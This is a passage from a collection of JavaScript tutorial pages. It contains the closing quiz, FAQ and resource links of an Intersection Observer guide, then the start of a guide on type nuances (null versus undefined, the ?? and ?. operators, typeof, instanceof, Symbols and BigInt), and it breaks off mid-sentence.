src="https://polyfill.io/v3/polyfill.min.js?features=IntersectionObserver"></script> ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **Intersection Observer replaces scroll events** — It's more performant and runs off the main thread 2. **The callback fires immediately** — When you call `observe()`, it reports current visibility state 3. **Use `isIntersecting` to check visibility** — Don't assume the callback means "now visible" 4. **One observer, many elements** — A single observer can efficiently watch multiple targets 5. **Clean up with `unobserve()` or `disconnect()`** — Prevent memory leaks, especially after lazy loading 6. **`rootMargin` enables preloading** — Use positive margins to detect elements before they're visible 7. **`threshold` controls precision** — Use arrays for fine-grained visibility tracking 8. **Always handle the null root** — Defaults to viewport, but custom roots must contain observed elements 9. **Combine with CSS for smooth animations** — Observer triggers classes, CSS handles transitions 10. **Consider native `loading="lazy"`** — For simple image lazy loading, the native attribute may suffice </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: Why is Intersection Observer better than scroll events for visibility detection?"> **Answer:** Intersection Observer is better because: 1. **Runs off the main thread** — Doesn't block JavaScript execution 2. **Browser-optimized** — Efficiently batches calculations 3. **No layout thrashing** — Doesn't force `getBoundingClientRect()` recalculations 4. **Built-in throttling** — Fires only when visibility actually changes 5. **Works with iframes** — Can detect visibility in cross-origin contexts Scroll events fire 60+ times per second and require manual throttling, while Intersection Observer only fires when relevant visibility changes occur. </Accordion> <Accordion title="Question 2: What does rootMargin: '-50px' do?"> **Answer:** `rootMargin: '-50px'` shrinks the detection area by 50px on all sides. This means an element must be at least 50px inside the viewport before it's considered "intersecting." It's useful for: - Triggering animations when elements are fully in view - Ensuring content is clearly visible before acting - Avoiding edge-case flickering near viewport boundaries ```javascript // Element must be 50px inside viewport to trigger const observer = new IntersectionObserver(callback, { rootMargin: '-50px' }); ``` </Accordion> <Accordion title="Question 3: When would you use threshold: [0, 0.25, 0.5, 0.75, 1]?"> **Answer:** Use multiple thresholds when you need to track progressive visibility, such as: - **Ad viewability tracking** — Count impressions at different visibility levels - **Video playback** — Pause at 25% visible, play at 75% visible - **Progress indicators** — Show how much of an article has been read - **Parallax effects** — Adjust animations based on scroll position ```javascript const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { const percent = Math.round(entry.intersectionRatio * 100); updateProgressBar(percent); }); }, { threshold: [0, 0.25, 0.5, 0.75, 1] }); ``` </Accordion> <Accordion title="Question 4: Why should you call unobserve() after lazy loading an image?"> **Answer:** You should call `unobserve()` because: 1. **Memory efficiency** — The observer no longer needs to track this element 2. **Performance** — Fewer elements to check means faster intersection calculations 3. **Prevents double-loading** — Without unobserving, the image could be "loaded" multiple times 4. **Clean architecture** — Once lazy loading is complete, the observer's job is done ```javascript const observer = new IntersectionObserver((entries, obs) => { entries.forEach(entry => { if (entry.isIntersecting) { entry.target.src = entry.target.dataset.src; obs.unobserve(entry.target); // Clean up! } }); }); ``` </Accordion> <Accordion title="Question 5: What happens if you use a custom root that doesn't contain the observed element?"> **Answer:** The observer **won't detect any intersections**. The observed element must be a descendant of the root element. ```javascript const sidebar = document.querySelector('.sidebar'); const observer = new IntersectionObserver(callback, { root: sidebar }); // ❌ This won't work - element is outside sidebar observer.observe(document.querySelector('.main .card')); // ✅ This works - element is inside sidebar observer.observe(sidebar.querySelector('.sidebar-item')); ``` Always ensure observed elements are descendants of the root, or use `root: null` for viewport detection. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is Intersection Observer used for in JavaScript?"> Intersection Observer detects when elements enter or leave the viewport (or a container element). Common use cases include lazy loading images, infinite scroll, scroll-triggered animations, and ad viewability tracking. According to web.dev, it replaces expensive scroll event listeners with browser-optimized callbacks. </Accordion> <Accordion title="Is Intersection Observer better than scroll events?"> Yes. Scroll events fire 60+ times per second and force layout recalculations via `getBoundingClientRect()`, causing jank and battery drain. Intersection Observer runs off the main thread, only fires when visibility actually changes, and is optimized by the browser. MDN recommends it as the modern replacement for scroll-based visibility detection. </Accordion> <Accordion title="What does rootMargin do in Intersection Observer?"> `rootMargin` grows or shrinks the detection area around the root element, using CSS margin syntax. Positive values (e.g., `'100px'`) trigger callbacks before elements reach the viewport — ideal for preloading images. Negative values delay detection until elements are fully inside the viewport. </Accordion> <Accordion title="Why does the Intersection Observer callback fire immediately?"> The callback fires once when you call `observe()` to report the element's current intersection state. This is intentional — as MDN documents, it lets you know the initial visibility without waiting for a scroll event. Always check `entry.isIntersecting` before acting. </Accordion> <Accordion title="How do I clean up an Intersection Observer?"> Call `observer.unobserve(element)` to stop watching a specific element (ideal after lazy loading), or `observer.disconnect()` to stop all observation. In React, return a cleanup function from `useEffect` that calls `disconnect()`. Failing to clean up causes memory leaks. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Mutation Observer" icon="eye" href="/beyond/concepts/mutation-observer"> Watch for DOM changes like added/removed elements and attribute modifications. </Card> <Card title="Resize Observer" icon="expand" href="/beyond/concepts/resize-observer"> Detect when elements change size without polling or resize events. </Card> <Card title="Performance Observer" icon="gauge" href="/beyond/concepts/performance-observer"> Monitor performance metrics like Long Tasks, layout shifts, and resource timing. </Card> <Card title="Event Loop" icon="arrows-rotate" href="/concepts/event-loop"> Understand how JavaScript handles async operations and when callbacks fire. </Card> </CardGroup> --- ## Resources ### Reference <CardGroup cols={2}> <Card title="Intersection Observer API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API"> Complete API documentation covering all options, methods, and the IntersectionObserverEntry interface. The authoritative reference for browser behavior and edge cases. </Card> <Card title="IntersectionObserver Interface — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver"> Detailed reference for the IntersectionObserver constructor, properties (root, rootMargin, thresholds), and methods (observe, unobserve, disconnect, takeRecords). </Card> </CardGroup> ### Articles <CardGroup cols={2}> <Card title="A Few Functional Uses for Intersection Observer — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/a-few-functional-uses-for-intersection-observer-to-know-when-an-element-is-in-view/"> Practical walkthrough of real-world Intersection Observer use cases including lazy loading, content visibility tracking, and auto-pausing videos. Great code examples with detailed explanations. </Card> <Card title="Intersection Observer v2: Trust is good, observation is better — web.dev" icon="newspaper" href="https://web.dev/articles/intersectionobserver-v2"> Covers the advanced Intersection Observer v2 API for tracking actual visibility (not just intersection). Essential reading for ad viewability and fraud prevention use cases. </Card> <Card title="Scroll Animations with Intersection Observer — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/scroll-animations-with-javascript-intersection-observer-api/"> Step-by-step guide to implementing scroll-triggered animations. Covers reveal-on-scroll effects, CSS transitions, and best practices for performant animations. </Card> <Card title="The Complete Guide to Lazy Loading Images — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/the-complete-guide-to-lazy-loading-images/"> Comprehensive guide covering all lazy loading approaches including Intersection Observer, native loading="lazy", and fallback strategies. Includes performance considerations. </Card> </CardGroup> ### Videos <CardGroup cols={2}> <Card title="Learn Intersection Observer In 15 Minutes — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=2IbRtjez6ag"> Clear, beginner-friendly introduction covering observer basics, all configuration options, and a practical infinite scroll implementation. Perfect starting point. </Card> <Card title="Introduction to Intersection Observer — Kevin Powell" icon="video" href="https://www.youtube.com/watch?v=T8EYosX4NOo"> Explains why Intersection Observer is better than scroll events, with visual demonstrations of how intersection detection works. Great for understanding the fundamentals. </Card> <Card title="Lazy Load Images with Intersection Observer — Fireship" icon="video" href="https://www.youtube.com/watch?v=aUjBvuUdkhg"> Quick, practical tutorial showing how to implement lazy-loaded images. Covers data attributes, viewport detection, and unobserving after load. </Card> <Card title="How to Lazy Load Images — Kevin Powell" icon="video" href="https://www.youtube.com/watch?v=mC93zsEsSrg"> Detailed lazy loading implementation with rootMargin for pre-loading and practical tips for production use. Great follow-up after learning the basics. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/javascript-type-nuances.mdx ================================================ --- title: "JavaScript Type Nuances" sidebarTitle: "Type Nuances" description: "Learn JavaScript type nuances: null vs undefined, typeof quirks, nullish coalescing (??), optional chaining (?.), Symbols, and BigInt for large integers." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Type System" "article:tag": "javascript types, typeof operator, null undefined, nullish coalescing, optional chaining, bigint symbols" --- Why does `typeof null` return `'object'`? Why does `0 || 'default'` give you `'default'` when `0` is a perfectly valid value? And why do Symbols exist when we already have strings for object keys? ```javascript // JavaScript's type system has quirks you need to know let user // undefined — not initialized let data = null // null — intentionally empty typeof null // 'object' — a famous bug! typeof undefined // 'undefined' 0 || 'fallback' // 'fallback' — but 0 is valid! 0 ?? 'fallback' // 0 — nullish coalescing saves the day const id = Symbol('id') // Unique, collision-proof key const huge = 9007199254740993n // BigInt for precision ``` JavaScript's type system is full of these nuances. Understanding them separates developers who write predictable code from those who constantly debug mysterious behavior. <Info> **What you'll learn in this guide:** - The difference between `null` and `undefined` (and when to use each) - Short-circuit evaluation with `&&`, `||`, `??`, and `?.` - The `typeof` operator's quirks and edge cases - How `instanceof` works and how to customize it with `Symbol.hasInstance` - Symbols for creating unique identifiers and well-known symbols - BigInt for working with numbers beyond JavaScript's safe integer limit </Info> <Warning> **Prerequisites:** This guide assumes you understand [Primitive Types](/concepts/primitive-types) and [Type Coercion](/concepts/type-coercion). If you're not comfortable with JavaScript's basic types and how they convert, read those guides first. </Warning> --- ## What are JavaScript Type Nuances? **JavaScript type nuances** are the subtle behaviors, quirks, and advanced features of JavaScript's type system that go beyond basic types. They include the semantic differences between `null` and `undefined`, the historical quirks of the [`typeof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof) operator, modern operators like [nullish coalescing](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing) (`??`), and primitive types like [`Symbol`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) and [`BigInt`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) that solve specific problems. --- ## JavaScript is Dynamically Typed Before diving into type nuances, it's important to understand that **JavaScript is a dynamically typed language**. Unlike statically typed languages like TypeScript, Rust, Java, or C++, JavaScript doesn't require you to declare variable types, and types are checked at runtime rather than compile time. ```javascript // In JavaScript, variables can hold any type and change types freely let value = 42 // value is a number value = 'hello' // now it's a string value = { name: 'Alice' } // now it's an object value = null // now it's null // No compiler errors — JavaScript figures out types at runtime ``` This flexibility is both powerful and dangerous: ```javascript // TypeScript / Rust / Java would catch this at compile time: function add(a, b) { return a + b } add(5, 3) // 8 — works as expected add('5', 3) // '53' — string concatenation, not addition! add(null, 3) // 3 — null becomes 0 add(undefined, 3) // NaN — undefined becomes NaN ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ STATIC vs DYNAMIC TYPING COMPARISON │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ STATICALLY TYPED DYNAMICALLY TYPED │ │ (TypeScript, Rust, Java) (JavaScript, Python, Ruby) │ │ ───────────────────────── ────────────────────────── │ │ │ │ • Types declared explicitly • Types inferred at runtime │ │ • Type errors caught at compile • Type errors occur at runtime │ │ • Variables have fixed types • Variables can change types │ │ • More verbose, safer • More flexible, riskier │ │ │ │ let name: string = "Alice" let name = "Alice" │ │ name = 42 // ❌ Compile error name = 42 // ✓ No error │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Because JavaScript won't stop you from mixing types, **you need to understand how types behave** — which is exactly what this guide covers. The `typeof` operator, type coercion, and operators like `??` and `?.` exist specifically to help you handle JavaScript's dynamic nature safely. <Note> **TypeScript adds static typing to JavaScript.** If you want compile-time type safety, TypeScript is an excellent choice. But even TypeScript compiles to JavaScript, so understanding JavaScript's runtime type behavior is essential for all JavaScript developers. </Note> --- ## The Empty Box Analogy Think of variables like boxes: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ UNDEFINED vs NULL: THE BOX ANALOGY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ UNDEFINED NULL │ │ ───────── ──── │ │ │ │ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ │ │ │ │ ??? │ │ [empty] │ │ │ │ │ │ │ │ │ └─────────────┘ └─────────────┘ │ │ │ │ "What box? I never "Here's an empty box. │ │ put anything here!" I'm telling you there's │ │ nothing inside on purpose." │ │ │ │ • Variable declared but not assigned • Variable intentionally set │ │ • Missing object property • Represents "no value" │ │ • Function returns nothing • End of prototype chain │ │ • Missing function parameter • Cleared reference │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **undefined** means the box was never filled. **null** means someone deliberately put an empty placeholder in the box. This distinction matters for writing clear, intentional code. --- ## null vs undefined: The Two Kinds of "Nothing" JavaScript is unique among programming languages in having two representations for "no value." Understanding when JavaScript uses each helps you write more predictable code. ### When JavaScript Returns undefined JavaScript returns [`undefined`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined) automatically in these situations: ```javascript // 1. Variables declared but not initialized let name console.log(name) // undefined // 2. Missing object properties const user = { name: 'Alice' } console.log(user.age) // undefined // 3. Functions that don't return anything function greet() { console.log('Hello!') // no return statement } console.log(greet()) // undefined // 4. Missing function parameters function sayHi(name) { console.log(name) } sayHi() // undefined // 5. Array holes const sparse = [1, , 3] console.log(sparse[1]) // undefined ``` ### When to Use null Use [`null`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/null) when you want to explicitly indicate "no value" or "empty": ```javascript // 1. Intentionally clearing a value let currentUser = { name: 'Alice' } currentUser = null // User logged out // 2. API responses for missing data const response = { user: null, // User not found, but the field exists error: null // No error occurred } // 3. DOM methods that find nothing document.querySelector('.nonexistent') // null // 4. End of prototype chain Object.getPrototypeOf(Object.prototype) // null // 5. Optional parameters with default values function createUser(name, email = null) { return { name, email } // email is explicitly optional } ``` ### Comparing null and undefined Here's how these values behave in different contexts: | Operation | `null` | `undefined` | |-----------|--------|-------------| | `typeof` | `'object'` (bug!) | `'undefined'` | | `== null` | `true` | `true` | | `=== null` | `true` | `false` | | `Boolean()` | `false` | `false` | | `Number()` | `0` | `NaN` | | `String()` | `'null'` | `'undefined'` | | `JSON.stringify()` | `null` | omitted | ```javascript // The equality quirk null == undefined // true (loose equality) null === undefined // false (strict equality) // Type checking differences typeof null // 'object' — historical bug! typeof undefined // 'undefined' // Numeric coercion null + 1 // 1 (null becomes 0) undefined + 1 // NaN (undefined becomes NaN) // JSON serialization JSON.stringify({ a: null, b: undefined }) // '{"a":null}' — undefined properties are skipped! ``` ### Checking for Both To check if a value is either `null` or `undefined`, you have several options: ```javascript const value = getSomeValue() // Option 1: Loose equality (catches both null and undefined) if (value == null) { console.log('No value') } // Option 2: Explicit check if (value === null || value === undefined) { console.log('No value') } // Option 3: Nullish coalescing for defaults const result = value ?? 'default' // Only triggers for null/undefined ``` <Tip> **Quick Rule:** Use `== null` to check for both `null` and `undefined` in one shot. This is one of the few cases where loose equality is preferred over strict equality. </Tip> --- ## Short-Circuit Evaluation: && || ?? and ?. JavaScript's logical operators don't just return `true` or `false`. They return the actual value that determined the result. Understanding this unlocks powerful patterns. ### Logical OR (||) — First Truthy Value The [`||`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_OR) operator returns the first [truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy) value, or the last value if none are truthy: ```javascript // Returns the first truthy value 'hello' || 'default' // 'hello' '' || 'default' // 'default' (empty string is falsy) 0 || 42 // 42 (0 is falsy!) null || 'fallback' // 'fallback' undefined || 'fallback' // 'fallback' // Common pattern: default values const username = user.name || 'Anonymous' const port = config.port || 3000 ``` The problem with `||` is it treats **all falsy values** as triggers for the fallback: ```javascript // Falsy values: false, 0, '', null, undefined, NaN // This might not do what you want! const count = userCount || 10 // If userCount is 0, you get 10! const name = userName || 'Guest' // If userName is '', you get 'Guest'! ``` ### Logical AND (&&) — First Falsy Value The [`&&`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_AND) operator returns the first falsy value, or the last value if all are truthy: ```javascript // Returns the first falsy value true && 'hello' // 'hello' (both truthy, returns last) 'hello' && 42 // 42 null && 'hello' // null (first falsy) 0 && 'hello' // 0 (first falsy) // Common pattern: conditional execution user && user.name // Only access name if user exists isAdmin && deleteButton.show() // Only call if isAdmin is truthy ``` ### Nullish Coalescing (??) — Only null/undefined The [`??`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing) operator is the modern solution, introduced in ES2020. According to the [V8 blog](https://v8.dev/features/nullish-coalescing), the nullish coalescing operator was one of the most requested features by the JavaScript community. It only falls back when the left side is `null` or `undefined`: ```javascript // Only null and undefined trigger the fallback 0 ?? 42 // 0 (0 is NOT nullish!) '' ?? 'default' // '' (empty string is NOT nullish!) false ?? true // false null ?? 'fallback' // 'fallback' undefined ?? 'fallback' // 'fallback' // Now you can safely use 0 and '' as valid values const count = userCount ?? 10 // 0 stays as 0 const name = userName ?? 'Guest' // '' stays as '' ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ || vs ?? COMPARISON │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ EXPRESSION || ?? │ │ ────────── ── ── │ │ │ │ 0 || 42 42 0 │ │ '' || 'default' 'default' '' │ │ false || true true false │ │ NaN || 0 0 NaN │ │ null || 'fallback' 'fallback' 'fallback' │ │ undefined || 'fallback' 'fallback' 'fallback' │ │ │ │ KEY DIFFERENCE: │ │ || triggers on ANY falsy value (false, 0, '', null, undefined, NaN) │ │ ?? triggers ONLY on null or undefined │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Warning> **Heads up:** You cannot mix `??` with `&&` or `||` without parentheses. JavaScript throws a `SyntaxError` to prevent ambiguity: ```javascript // ❌ SyntaxError null || undefined ?? 'default' // ✓ Use parentheses to clarify intent (null || undefined) ?? 'default' // 'default' null || (undefined ?? 'default') // 'default' ``` </Warning> ### Optional Chaining (?.) — Safe Property Access The [`?.`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining) operator stops evaluation if the left side is `null` or `undefined`, returning `undefined` instead of throwing an error: ```javascript const user = { name: 'Alice', address: { city: 'Wonderland' } } // Without optional chaining — verbose and error-prone const city = user && user.address && user.address.city // With optional chaining — clean and safe const city = user?.address?.city // 'Wonderland' // Works with missing properties const nullUser = null nullUser?.name // undefined (no error!) nullUser?.address?.city // undefined (no error!) // Works with arrays const users = [{ name: 'Alice' }] users?.[0]?.name // 'Alice' users?.[99]?.name // undefined // Works with function calls const api = { getUser: () => ({ name: 'Alice' }) } api.getUser?.() // { name: 'Alice' } api.nonexistent?.() // undefined (no error!) ``` ### Combining ?? and ?. These operators work beautifully together: ```javascript // Get deeply nested value with a default const theme = user?.settings?.theme ?? 'light' // Safe function call with default return const result = api.getData?.() ?? [] // Real-world example: configuration const config = { api: { // timeout might be intentionally set to 0 } } const timeout = config?.api?.timeout ?? 5000 // 5000 (no timeout set) // If timeout was 0: config.api.timeout = 0 const timeout2 = config?.api?.timeout ?? 5000 // 0 (respects the explicit 0) ``` --- ## The typeof Operator and Its Quirks The [`typeof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof) operator returns a string indicating the type of a value. It's useful, but has some surprising behaviors. ### Basic Usage ```javascript // Primitives typeof 'hello' // 'string' typeof 42 // 'number' typeof 42n // 'bigint' typeof true // 'boolean' typeof undefined // 'undefined' typeof Symbol('id') // 'symbol' // Objects and functions typeof {} // 'object' typeof [] // 'object' (arrays are objects!) typeof new Date() // 'object' typeof /regex/ // 'object' typeof function(){} // 'function' (special case) typeof class {} // 'function' (classes are functions) ``` ### The typeof null Bug This is JavaScript's most famous quirk: ```javascript typeof null // 'object' — NOT 'null'! ``` This is a bug from the first version of JavaScript in 1995. In the original implementation, values were stored with a type tag. Objects had a type tag of `0`. `null` was represented as the NULL pointer (`0x00`), which also had a type tag of `0`. So `typeof null` returned `'object'`. As Dr. Axel Rauschmayer documented in his analysis of the [original JavaScript source code](https://2ality.com/2013/10/typeof-null.html), a proposal to fix this (typeof null === 'null') was rejected by TC39 because it would break an estimated 10% of existing websites. Fixing this bug would break too much existing code, so it remains. To properly check for `null`: ```javascript // ❌ Wrong — typeof doesn't work for null if (typeof value === 'null') { } // Never true! // ✓ Correct — direct comparison if (value === null) { } // ✓ Also correct — check both null and undefined if (value == null) { } ``` ### typeof with Undeclared Variables Unlike most operations, `typeof` doesn't throw an error for undeclared variables: ```javascript // This would throw ReferenceError console.log(undeclaredVar) // ReferenceError: undeclaredVar is not defined // But typeof returns 'undefined' safely typeof undeclaredVar // 'undefined' // Useful for feature detection if (typeof window !== 'undefined') { // Running in a browser } if (typeof process !== 'undefined') { // Running in Node.js } ``` ### typeof with the Temporal Dead Zone However, `typeof` does throw for `let`/`const` variables accessed before declaration: ```javascript // let and const create a Temporal Dead Zone (TDZ) console.log(typeof myVar) // ReferenceError! let myVar = 'hello' // This is because the variable exists but isn't initialized yet // See the Temporal Dead Zone guide for more details ``` ### Complete typeof Return Values | Value | `typeof` Result | |-------|-----------------| | `undefined` | `'undefined'` | | `null` | `'object'` (bug) | | `true` / `false` | `'boolean'` | | Any number | `'number'` | | Any BigInt | `'bigint'` | | Any string | `'string'` | | Any Symbol | `'symbol'` | | Any function | `'function'` | | Any other object | `'object'` | ### Better Type Checking For more precise type checking, use these patterns: ```javascript // Check for array Array.isArray([1, 2, 3]) // true Array.isArray('hello') // false // Check for null specifically value === null // Check for plain objects Object.prototype.toString.call({}) // '[object Object]' Object.prototype.toString.call([]) // '[object Array]' Object.prototype.toString.call(null) // '[object Null]' Object.prototype.toString.call(undefined) // '[object Undefined]' Object.prototype.toString.call(new Date()) // '[object Date]' // Helper function for precise type checking function getType(value) { return Object.prototype.toString.call(value).slice(8, -1).toLowerCase() } getType(null) // 'null' getType([]) // 'array' getType({}) // 'object' getType(new Date()) // 'date' getType(/regex/) // 'regexp' ``` --- ## instanceof and Symbol.hasInstance While `typeof` checks primitive types, [`instanceof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof) checks if an object was created by a specific constructor or class. ### How instanceof Works ```javascript class Animal {} class Dog extends Animal {} const buddy = new Dog() buddy instanceof Dog // true buddy instanceof Animal // true (inheritance chain) buddy instanceof Object // true (everything inherits from Object) buddy instanceof Array // false // Works with built-in constructors too [] instanceof Array // true {} instanceof Object // true new Date() instanceof Date // true /regex/ instanceof RegExp // true // But not with primitives! 'hello' instanceof String // false (primitive, not String object) 42 instanceof Number // false (primitive, not Number object) ``` ### instanceof Checks the Prototype Chain `instanceof` works by checking if the constructor's `prototype` property exists anywhere in the object's prototype chain: ```javascript class Animal { speak() { return 'Some sound' } } class Dog extends Animal { speak() { return 'Woof!' } } const buddy = new Dog() // instanceof checks if Dog.prototype is in buddy's chain Dog.prototype.isPrototypeOf(buddy) // true Animal.prototype.isPrototypeOf(buddy) // true // You can break instanceof by reassigning prototype Dog.prototype = {} buddy instanceof Dog // false now! ``` ### Customizing instanceof with Symbol.hasInstance You can customize how `instanceof` behaves using [`Symbol.hasInstance`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance): ```javascript // Custom class that considers any object with a 'quack' method a Duck class Duck { static [Symbol.hasInstance](instance) { return instance?.quack !== undefined } } const mallard = { quack: () => 'Quack!' } const dog = { bark: () => 'Woof!' } mallard instanceof Duck // true (has quack method) dog instanceof Duck // false (no quack method) // Real-world example: validating data shapes class ValidUser { static [Symbol.hasInstance](obj) { return obj !== null && typeof obj === 'object' && typeof obj.id === 'number' && typeof obj.email === 'string' } } const user = { id: 1, email: 'alice@example.com' } const invalid = { name: 'Bob' } user instanceof ValidUser // true invalid instanceof ValidUser // false ``` ### instanceof vs typeof | Check | Use `typeof` | Use `instanceof` | |-------|-------------|------------------| | Is it a string? | `typeof x === 'string'` | ❌ (primitives fail) | | Is it a number? | `typeof x === 'number'` | ❌ (primitives fail) | | Is it an array? | ❌ (returns 'object') | `x instanceof Array` or `Array.isArray(x)` | | Is it a Date? | ❌ (returns 'object') | `x instanceof Date` | | Is it a custom class? | ❌ | `x instanceof MyClass` | --- ## Symbols: Unique Identifiers [`Symbol`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) is a primitive type introduced in ES2015 that creates guaranteed unique identifiers. Every `Symbol()` call creates a new, unique value. According to MDN, Symbols are the only primitive type that serves as a non-string property key, making them essential for metaprogramming and avoiding property name collisions in shared codebases. ### Creating Symbols ```javascript // Create symbols with optional descriptions const id = Symbol('id') const anotherId = Symbol('id') // Every symbol is unique! id === anotherId // false (different symbols) id === id // true (same symbol) // The description is just for debugging console.log(id) // Symbol(id) console.log(id.description) // 'id' ``` ### Using Symbols as Object Keys Symbols solve the problem of property name collisions: ```javascript // Problem: property name collision const user = { id: 123, name: 'Alice' } // A library might want to add its own 'id' — collision! user.id = 'library-internal-id' // Oops, overwrote the user's id! // Solution: use a Symbol const internalId = Symbol('internal-id') user[internalId] = 'library-internal-id' console.log(user.id) // 123 (original preserved) console.log(user[internalId]) // 'library-internal-id' // Symbols are hidden from normal iteration Object.keys(user) // ['id', 'name'] — no symbol! JSON.stringify(user) // '{"id":123,"name":"Alice"}' — no symbol! // But you can still access them Object.getOwnPropertySymbols(user) // [Symbol(internal-id)] ``` ### Global Symbol Registry Use `Symbol.for()` to create symbols that can be shared across files or even iframes: ```javascript // Create or retrieve a global symbol const globalId = Symbol.for('app.userId') // Same key returns the same symbol const sameId = Symbol.for('app.userId') globalId === sameId // true // Get the key from a global symbol Symbol.keyFor(globalId) // 'app.userId' // Regular symbols aren't in the registry const localId = Symbol('local') Symbol.keyFor(localId) // undefined ``` ### Well-Known Symbols JavaScript has built-in symbols that let you customize object behavior: ```javascript // Symbol.iterator — make objects iterable const range = { start: 1, end: 5, [Symbol.iterator]() { let current = this.start const end = this.end return { next() { if (current <= end) { return { value: current++, done: false } } return { done: true } } } } } for (const num of range) { console.log(num) // 1, 2, 3, 4, 5 } // Symbol.toStringTag — customize Object.prototype.toString class MyClass { get [Symbol.toStringTag]() { return 'MyClass' } } Object.prototype.toString.call(new MyClass()) // '[object MyClass]' // Symbol.toPrimitive — customize type conversion const money = { amount: 100, currency: 'USD', [Symbol.toPrimitive](hint) { if (hint === 'number') return this.amount if (hint === 'string') return `${this.currency} ${this.amount}` return this.amount } } +money // 100 (hint: 'number') `${money}` // 'USD 100' (hint: 'string') ``` ### Common Well-Known Symbols | Symbol | Purpose | |--------|---------| | `Symbol.iterator` | Define how to iterate over an object | | `Symbol.asyncIterator` | Define async iteration | | `Symbol.toStringTag` | Customize `[object X]` output | | `Symbol.toPrimitive` | Customize type conversion | | `Symbol.hasInstance` | Customize `instanceof` behavior | | `Symbol.isConcatSpreadable` | Control `Array.concat` spreading | --- ## BigInt: Numbers Beyond the Limit Regular JavaScript numbers have a precision limit. [`BigInt`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) lets you work with integers of any size. ### The Precision Problem ```javascript // JavaScript numbers are 64-bit floating point // They can only safely represent integers up to 2^53 - 1 console.log(Number.MAX_SAFE_INTEGER) // 9007199254740991 // Beyond this, precision is lost 9007199254740992 === 9007199254740993 // true! (they're the same to JS) // This causes real problems const twitterId = 9007199254740993 console.log(twitterId) // 9007199254740992 — wrong! ``` ### Creating BigInt Values ```javascript // Add 'n' suffix to number literals const big = 9007199254740993n console.log(big) // 9007199254740993n — correct! // Or use the BigInt() function const alsoBig = BigInt('9007199254740993') const fromNumber = BigInt(42) // Only safe for integers within safe range // BigInt preserves precision 9007199254740992n === 9007199254740993n // false (correctly different!) ``` ### BigInt Operations ```javascript const a = 10n const b = 3n // Arithmetic works as expected a + b // 13n a - b // 7n a * b // 30n a ** b // 1000n // Division truncates (no decimals) a / b // 3n (not 3.333...) // Remainder a % b // 1n // Comparison a > b // true a === 10n // true ``` ### BigInt Limitations ```javascript // ❌ Cannot mix BigInt and Number in operations 10n + 5 // TypeError: Cannot mix BigInt and other types // ✓ Convert explicitly 10n + BigInt(5) // 15n Number(10n) + 5 // 15 (but may lose precision for large values!) // ❌ Cannot use with Math methods Math.max(1n, 2n) // TypeError // ✓ Compare using > < instead 1n > 2n ? 1n : 2n // 2n // ❌ Cannot use unary + +10n // TypeError // ✓ Use Number() or just use the value Number(10n) // 10 // BigInt in JSON JSON.stringify({ id: 10n }) // TypeError: BigInt value can't be serialized // ✓ Convert to string first JSON.stringify({ id: 10n.toString() }) // '{"id":"10"}' ``` ### When to Use BigInt ```javascript // 1. Working with large IDs (Twitter, Discord, etc.) const tweetId = 1234567890123456789n // 2. Cryptographic operations const largeKey = 2n ** 256n // 3. Financial calculations requiring exact integers // (though for money, usually use integers in cents, not BigInt) const worldDebt = 300_000_000_000_000n // $300 trillion in dollars // 4. When you need arbitrary precision function factorial(n) { if (n <= 1n) return 1n return n * factorial(n - 1n) } factorial(100n) // Huge number, no precision loss! ``` <Note> **When NOT to use BigInt:** For normal integer operations within JavaScript's safe range (±9 quadrillion), regular numbers are faster and more convenient. Only reach for BigInt when you actually need values beyond `Number.MAX_SAFE_INTEGER`. </Note> --- ## Common Mistakes <AccordionGroup> <Accordion title="Using || when you need ??"> The `||` operator treats `0`, `''`, and `false` as falsy, which might not be what you want: ```javascript // ❌ Wrong — loses valid values const count = userCount || 10 // If userCount is 0, you get 10! const name = userName || 'Guest' // If userName is '', you get 'Guest'! // ✓ Correct — only fallback on null/undefined const count = userCount ?? 10 // 0 stays as 0 const name = userName ?? 'Guest' // '' stays as '' ``` </Accordion> <Accordion title="Using typeof to check for null"> `typeof 